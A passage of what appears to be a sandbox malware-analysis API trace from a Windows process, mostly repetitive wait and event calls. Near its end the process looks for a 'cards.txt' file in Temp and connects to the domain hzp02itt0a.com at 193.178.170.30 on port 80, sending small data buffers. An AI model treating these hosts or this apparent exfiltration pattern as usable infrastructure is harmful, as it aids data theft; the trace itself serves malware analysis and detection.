(hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0119.904] SetEvent (hEvent=0xa0) returned 1 [0119.905] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0120.234] SetEvent (hEvent=0xa0) returned 1 [0120.234] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0120.565] SetEvent (hEvent=0xa0) returned 1 [0120.565] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0120.995] SetEvent (hEvent=0xa0) returned 1 [0120.995] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0121.412] SetEvent (hEvent=0xa0) returned 1 [0121.412] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0121.889] SetEvent (hEvent=0xa0) returned 1 [0121.889] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0122.304] SetEvent (hEvent=0xa0) returned 1 [0122.304] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0123.215] SetEvent (hEvent=0xa0) returned 1 [0123.215] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0123.609] SetEvent (hEvent=0xa0) returned 1 [0123.609] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0123.843] SetEvent (hEvent=0xa0) returned 1 [0123.843] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0124.208] SetEvent (hEvent=0xa0) returned 1 [0124.208] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0124.408] SetEvent (hEvent=0xa0) returned 1 [0124.408] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0124.634] SetEvent (hEvent=0xa0) returned 1 [0124.634] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0124.986] SetEvent (hEvent=0xa0) returned 1 [0124.986] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0125.212] SetEvent (hEvent=0xa0) returned 1 [0125.212] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0125.468] SetEvent (hEvent=0xa0) returned 1 [0125.468] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0125.902] SetEvent (hEvent=0xa0) returned 1 [0125.903] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0126.225] SetEvent (hEvent=0xa0) returned 1 [0126.225] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0126.534] SetEvent (hEvent=0xa0) returned 1 [0126.534] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0126.765] SetEvent (hEvent=0xa0) returned 1 [0126.765] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0127.101] SetEvent (hEvent=0xa0) returned 1 [0127.102] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0127.384] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0127.608] SetEvent (hEvent=0xa0) returned 1 [0127.608] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0127.835] SetEvent (hEvent=0xa0) returned 1 [0127.835] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0128.097] SetEvent (hEvent=0xa0) returned 1 [0128.097] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0128.453] SetEvent (hEvent=0xa0) returned 1 [0128.453] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0128.678] SetEvent (hEvent=0xa0) returned 1 [0128.679] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0131.903] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.015] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.135] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.240] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.346] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.451] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.572] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.727] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.847] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0132.957] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0133.089] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0133.202] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0133.308] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0133.436] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0134.239] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0134.573] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0134.761] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0134.884] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0135.062] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0135.190] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0135.357] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0135.496] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0135.669] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0135.818] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0136.028] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0136.175] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0136.327] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0136.440] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0136.546] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0136.730] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0136.861] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.000] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.105] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.209] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.312] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.420] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.529] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.637] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.753] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0137.864] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0138.134] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0138.243] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0138.353] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0138.467] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0138.574] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0138.678] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0138.784] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0138.939] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0139.269] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0139.374] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0139.486] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0139.736] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0139.844] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0139.984] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0140.138] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0140.265] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0140.370] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0140.481] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0140.590] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0140.695] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0140.800] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0140.939] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0141.052] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0141.194] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0141.628] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0142.034] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0142.160] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0142.330] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0142.853] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0142.957] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0143.069] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0143.182] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0143.298] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0143.407] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0143.511] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0143.633] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0143.808] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0143.960] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0144.082] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0144.509] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0145.917] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0146.201] SetEvent (hEvent=0xcc) returned 1 [0146.244] CloseHandle (hObject=0x144) returned 1 [0146.347] GetProcAddress (hModule=0x77660000, lpProcName="CancelIoEx") returned 0x776ac9a0 [0146.347] CancelIoEx (hFile=0x194, lpOverlapped=0x0) returned 0 [0146.348] CloseHandle (hObject=0x194) returned 1 [0146.369] GetProcAddress (hModule=0x77660000, lpProcName="WaitForSingleObject") returned 0x77681520 [0146.370] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0xffffffff) returned 0x0 [0149.792] GetProcAddress (hModule=0x77660000, lpProcName="GetExitCodeProcess") returned 0x77670750 [0149.792] GetExitCodeProcess (in: hProcess=0x1a8, lpExitCode=0xc00019f8dc | out: lpExitCode=0xc00019f8dc*=0x0) returned 1 [0149.792] GetProcAddress (hModule=0x77660000, lpProcName="GetProcessTimes") returned 0x77663d10 [0149.792] GetProcessTimes (in: hProcess=0x1a8, lpCreationTime=0xc0000939a0, lpExitTime=0xc0000939a8, lpKernelTime=0xc0000939b0, lpUserTime=0xc0000939b8 | out: lpCreationTime=0xc0000939a0, lpExitTime=0xc0000939a8, lpKernelTime=0xc0000939b0, lpUserTime=0xc0000939b8) returned 1 [0149.793] CloseHandle (hObject=0x1a8) returned 1 [0149.813] VirtualAlloc (lpAddress=0xc0000de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000de000 [0149.854] CreateIoCompletionPort (FileHandle=0xffffffffffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x1a8 [0149.854] SetEvent (hEvent=0xa0) returned 1 [0149.856] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 0 [0149.884] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0149.907] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0149.915] ReadFile (in: hFile=0x198, lpBuffer=0xc0000da200, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000047cfc, lpOverlapped=0x0 | out: lpBuffer=0xc0000da200*, lpNumberOfBytesRead=0xc000047cfc*=0x1d, lpOverlapped=0x0) returned 1 [0152.168] SetEvent (hEvent=0xe8) returned 1 [0153.810] ReadFile (in: hFile=0x198, lpBuffer=0xc0000dc41d, nNumberOfBytesToRead=0x3e3, lpNumberOfBytesRead=0xc000047cfc, lpOverlapped=0x0 | out: lpBuffer=0xc0000dc41d*, lpNumberOfBytesRead=0xc000047cfc*=0x20, lpOverlapped=0x0) returned 1 [0153.811] ReadFile (in: hFile=0x198, lpBuffer=0xc0000dc43d, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0xc000047cfc, lpOverlapped=0x0 | out: lpBuffer=0xc0000dc43d, lpNumberOfBytesRead=0xc000047cfc*=0x0, lpOverlapped=0x0) returned 0 [0153.991] CancelIoEx (hFile=0x198, lpOverlapped=0x0) returned 0 [0153.992] CloseHandle (hObject=0x198) returned 1 [0154.163] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0157.569] SwitchToThread () returned 1 [0157.570] SetEvent (hEvent=0xcc) returned 1 [0157.837] VirtualAlloc (lpAddress=0xc0000fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fe000 [0158.166] SetEvent (hEvent=0xa0) returned 1 [0158.688] VirtualAlloc (lpAddress=0xc00020c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00020c000 [0158.752] SetEvent (hEvent=0xcc) returned 1 [0159.208] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0162.652] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0162.868] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0163.711] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0164.702] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 0 [0164.702] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 1 [0165.789] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0171.759] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0172.324] SwitchToThread () returned 1 [0172.429] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0172.600] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0172.948] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0173.127] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 0 [0173.127] SwitchToThread () returned 1 [0173.249] SetEvent (hEvent=0xcc) returned 1 [0173.521] VirtualAlloc (lpAddress=0xc00037c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00037c000 [0173.753] WSASend (in: s=0x1d8, lpBuffers=0xc000332628*=((len=0x152, buf=0xc0001d6000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000332618, dwFlags=0x0, lpOverlapped=0xc0003325e8, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000332618*=0x152, lpOverlapped=0xc0003325e8) returned 0 [0173.758] SetEvent (hEvent=0xcc) returned 1 [0173.759] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0174.374] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0174.476] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0174.521] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 0 [0174.521] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x7530, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 1 [0174.574] WSAGetOverlappedResult (in: s=0x1e8, lpOverlapped=0xc000066ae8, lpcbTransfer=0x280af0c0, fWait=0, lpdwFlags=0x280af0cc | out: lpcbTransfer=0x280af0c0, lpdwFlags=0x280af0cc) returned 1 [0174.575] SetEvent (hEvent=0xe8) returned 1 [0174.575] setsockopt (s=0x1e8, level=65535, optname=28688, optval="è\x01", optlen=8) returned 0 [0174.575] SetEvent (hEvent=0xa0) returned 1 [0174.575] getsockname (in: s=0x1e8, name=0xc00036efac, namelen=0xc00036efa8 | out: name=0xc00036efac*(sa_family=2, sin_port=0xc00d, sin_addr="192.168.0.96"), namelen=0xc00036efa8) returned 0 [0174.575] getpeername (in: s=0x1e8, name=0xc00036efac, namelen=0xc00036efa8 | out: name=0xc00036efac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=0xc00036efa8) returned 0 [0174.575] setsockopt (s=0x1e8, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0174.576] setsockopt (s=0x1e8, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0174.576] WSAIoctl (in: s=0x1e8, dwIoControlCode=0x98000004, lpvInBuffer=0xc00036f1ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc00036f1d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc00036f1d4, lpOverlapped=0x0) returned 0 [0174.656] VirtualAlloc (lpAddress=0xc000380000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000380000 [0174.657] WSARecv (in: s=0x1e8, lpBuffers=0xc000066a58, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000066a48, lpFlags=0xc000066ac8*=0x0, lpOverlapped=0xc000066a18, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000066a58*=((len=0x1000, buf=0xc00037f000*)), lpNumberOfBytesRecvd=0xc000066a48*=0x0, lpFlags=0xc000066ac8*=0x0, lpOverlapped=0xc000066a18) returned 0 [0174.660] WSASend (in: s=0x1e8, lpBuffers=0xc000066b28*=((len=0x152, buf=0xc000380000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000066b18, dwFlags=0x0, lpOverlapped=0xc000066ae8, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000066b18*=0x152, lpOverlapped=0xc000066ae8) returned 0 [0174.660] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 0 [0174.660] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x153c5, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 1 [0174.706] WSAGetOverlappedResult (in: s=0x1e8, lpOverlapped=0xc000066a18, lpcbTransfer=0x280af0c0, fWait=0, lpdwFlags=0x280af0cc | out: lpcbTransfer=0x280af0c0, lpdwFlags=0x280af0cc) returned 1 [0174.706] SetEvent (hEvent=0xa0) returned 1 [0174.706] SetEvent (hEvent=0xe8) returned 1 [0174.707] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\cards.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cards.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ea80 | out: lpFileInformation=0xc00019ea80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0174.707] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\cards.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cards.txt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0174.707] VirtualAlloc (lpAddress=0xc000292000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000292000 [0174.709] GetAddrInfoW (in: pNodeName="hzp02itt0a.com", pServiceName=0x0, pHints=0xc000291f40*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xc000291e78 | out: ppResult=0xc000291e78*=0x1db63c0*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db6400*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) returned 0 [0174.715] FreeAddrInfoW (pAddrInfo=0x1db63c0*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db6400*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) [0174.715] SetEvent (hEvent=0xcc) returned 1 [0174.715] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1f4 [0174.716] CreateIoCompletionPort (FileHandle=0x1f4, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0174.716] SetFileCompletionNotificationModes (FileHandle=0x1f4, Flags=0x3) returned 1 [0174.716] bind (s=0x1f4, addr=0xc000012dec*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0174.717] ConnectEx (in: s=0x1f4, name=0xc000012dcc*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc000066d68 | out: lpdwBytesSent=0x0) returned 0 [0174.720] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0174.849] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0174.930] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0 [0174.988] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 0 [0174.988] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x7520, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 1 [0175.047] WSAGetOverlappedResult (in: s=0x1fc, lpOverlapped=0xc000067268, lpcbTransfer=0x280af0c0, fWait=0, lpdwFlags=0x280af0cc | out: lpcbTransfer=0x280af0c0, lpdwFlags=0x280af0cc) returned 1 [0175.047] SetEvent (hEvent=0xe8) returned 1 [0175.047] setsockopt (s=0x1fc, level=65535, optname=28688, optval="ü\x01", optlen=8) returned 0 [0175.048] SetEvent (hEvent=0xa0) returned 1 [0175.048] getsockname (in: s=0x1fc, name=0xc0002aafac, namelen=0xc0002aafa8 | out: name=0xc0002aafac*(sa_family=2, sin_port=0xc010, sin_addr="192.168.0.96"), namelen=0xc0002aafa8) returned 0 [0175.048] getpeername (in: s=0x1fc, name=0xc0002aafac, namelen=0xc0002aafa8 | out: name=0xc0002aafac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=0xc0002aafa8) returned 0 [0175.048] setsockopt (s=0x1fc, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0175.048] setsockopt (s=0x1fc, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0175.049] WSAIoctl (in: s=0x1fc, dwIoControlCode=0x98000004, lpvInBuffer=0xc0002ab1ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0002ab1d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0002ab1d4, lpOverlapped=0x0) returned 0 [0175.049] VirtualAlloc (lpAddress=0xc000386000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000386000 [0175.049] WSARecv (in: s=0x1fc, lpBuffers=0xc0000671d8, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc0000671c8, lpFlags=0xc000067248*=0x0, lpOverlapped=0xc000067198, lpCompletionRoutine=0x0 | out: lpBuffers=0xc0000671d8*=((len=0x1000, buf=0xc000385000*)), lpNumberOfBytesRecvd=0xc0000671c8*=0x0, lpFlags=0xc000067248*=0x0, lpOverlapped=0xc000067198) returned 0 [0175.050] WSASend (in: s=0x1fc, lpBuffers=0xc0000672a8*=((len=0x159, buf=0xc000386000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000067298, dwFlags=0x0, lpOverlapped=0xc000067268, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000067298*=0x159, lpOverlapped=0xc000067268) returned 0 [0175.052] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 0 [0175.053] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x280af0f0, ulCount=0x10, ulNumEntriesRemoved=0x280af0c4, dwMilliseconds=0x15247, fAlertable=0 | out: lpCompletionPortEntries=0x280af0f0, ulNumEntriesRemoved=0x280af0c4) returned 1 [0175.124] WSAGetOverlappedResult (in: s=0x1fc, lpOverlapped=0xc000067198, lpcbTransfer=0x280af0c0, fWait=0, lpdwFlags=0x280af0cc | out: lpcbTransfer=0x280af0c0, lpdwFlags=0x280af0cc) returned 1 